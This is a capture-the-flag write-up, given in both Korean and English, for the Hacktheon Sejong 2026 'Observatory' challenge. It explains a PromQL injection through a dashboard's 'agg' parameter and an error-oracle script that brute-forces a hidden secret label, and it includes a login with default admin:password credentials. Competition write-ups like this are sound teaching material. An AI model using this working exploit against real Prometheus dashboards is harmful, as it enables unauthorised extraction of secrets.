Hacktheon Sejong 2026 Quals Observatory Writeup
Hacktheon Sejong 2026 Quals Observatory WriteupHacktheon Sejong 2026 Quals Observatory WriteupHacktheon Sejong 2026 Quals Observatory 문제 풀이Hacktheon Sejong 2026 Quals Observatory writeup
Contents
Summary
대시보드의 Prometheus query API는 metric보다 agg 파라미터가 핵심이었다. 서버가 agg(metric{namespace=...}) 형태로 PromQL을 조립하므로, agg에 expression을 넣어 숨겨진 secret_config label을 error oracle로 읽었다.
Analysis
/api/metrics에는 secret_config, internal_token, db_credentials 같은 metric 이름이 보인다. 다만 metric 파라미터로 직접 읽으면 현재 namespace 기준으로 가공되어 원본 label/value가 나오지 않았다.
UI에서는 agg에 sum, avg, max 같은 값만 넣지만 API는 문자열을 그대로 받는다. 서버는 PromQL을 아래처럼 만든다.
{agg}({metric}{namespace="현재 namespace"})agg에 expression을 넣고 마지막을 or sum으로 끝내면 뒤에 붙는 (...metric...) 부분을 fallback 함수 호출로 소비시킬 수 있다.
출력은 숨겨져 있어서 error oracle을 만들었다. secret_config{flag=~"^PREFIX.*"}가 매칭되지 않으면 empty vector라 query가 성공한다. 매칭되면 일부러 many-to-one vector matching이 발생하도록 만들어 query error를 낸다.
oracle은 이렇게 잡았다.
sum(secret_config{flag=~"^PREFIX.*"})
+ on()
sum by(__name__)({__name__=~"go_.*"})
or sum응답 기준은 아래와 같다.
Query failed -> prefix match
success -> prefix miss기본 계정 admin:password를 찾은 뒤 이 oracle로 flag label을 한 글자씩 brute force했다.
Exploit
import re
import requests
base = "http://43.201.43.169:3000"
s = requests.Session()
s.post(
base + "/login",
data={"username": "admin", "password": "password"},
allow_redirects=False,
timeout=5,
)
def prom_quote_regex(rx: str) -> str:
return rx.replace("\\", "\\\\").replace('"', '\\"')
def oracle_regex(rx: str) -> bool:
q = prom_quote_regex(rx)
agg = (
f'sum(secret_config{{flag=~"{q}"}}) '
f'+ on() '
f'sum by(__name__)({{__name__=~"go_.*"}}) '
f'or sum'
)
r = s.post(
base + "/api/query",
json={"metric": "up", "agg": agg},
timeout=5,
)
d = r.json()
return d.get("status") == "error" and d.get("message") == "Query failed"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_:-./@!$%&*+=,?[]()<>#"
prefix = ""
for _ in range(120):
for ch in alphabet:
candidate = prefix + ch
if oracle_regex("^" + re.escape(candidate) + ".*"):
prefix = candidate
print(prefix)
break
else:
break
if prefix.endswith("}"):
break
print("FLAG:", prefix)Flag
hacktheon2026{pr0m3th3us_m3tr1c_s1d3ch4nn3l}
Summary
In the dashboard's Prometheus query API, the agg parameter mattered more than metric. Since the server assembles PromQL in the form agg(metric{namespace=...}), I put an expression into agg and read the hidden secret_config label through an error oracle.
Analysis
In /api/metrics you can see metric names like secret_config, internal_token, and db_credentials. However, reading them directly via the metric parameter processed them relative to the current namespace, so the original label/value did not come out.
In the UI, agg only takes values like sum, avg, max, but the API accepts the string as-is. The server builds the PromQL as below.
{agg}({metric}{namespace="current namespace"})If you put an expression into agg and end it with or sum, you can make the trailing (...metric...) part be consumed as a fallback function call.
Since the output is hidden, I built an error oracle. If secret_config{flag=~"^PREFIX.*"} does not match, it is an empty vector so the query succeeds. If it matches, I deliberately trigger a many-to-one vector matching to cause a query error.
The oracle was set up like this.
sum(secret_config{flag=~"^PREFIX.*"})
+ on()
sum by(__name__)({__name__=~"go_.*"})
or sumThe response criteria are as follows.
Query failed -> prefix match
success -> prefix missAfter finding the default account admin:password, I brute-forced the flag label one character at a time with this oracle.
Exploit
import re
import requests
base = "http://43.201.43.169:3000"
s = requests.Session()
s.post(
base + "/login",
data={"username": "admin", "password": "password"},
allow_redirects=False,
timeout=5,
)
def prom_quote_regex(rx: str) -> str:
return rx.replace("\\", "\\\\").replace('"', '\\"')
def oracle_regex(rx: str) -> bool:
q = prom_quote_regex(rx)
agg = (
f'sum(secret_config{{flag=~"{q}"}}) '
f'+ on() '
f'sum by(__name__)({{__name__=~"go_.*"}}) '
f'or sum'
)
r = s.post(
base + "/api/query",
json={"metric": "up", "agg": agg},
timeout=5,
)
d = r.json()
return d.get("status") == "error" and d.get("message") == "Query failed"
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_:-./@!$%&*+=,?[]()<>#"
prefix = ""
for _ in range(120):
for ch in alphabet:
candidate = prefix + ch
if oracle_regex("^" + re.escape(candidate) + ".*"):
prefix = candidate
print(prefix)
break
else:
break
if prefix.endswith("}"):
break
print("FLAG:", prefix)Flag
hacktheon2026{pr0m3th3us_m3tr1c_s1d3ch4nn3l}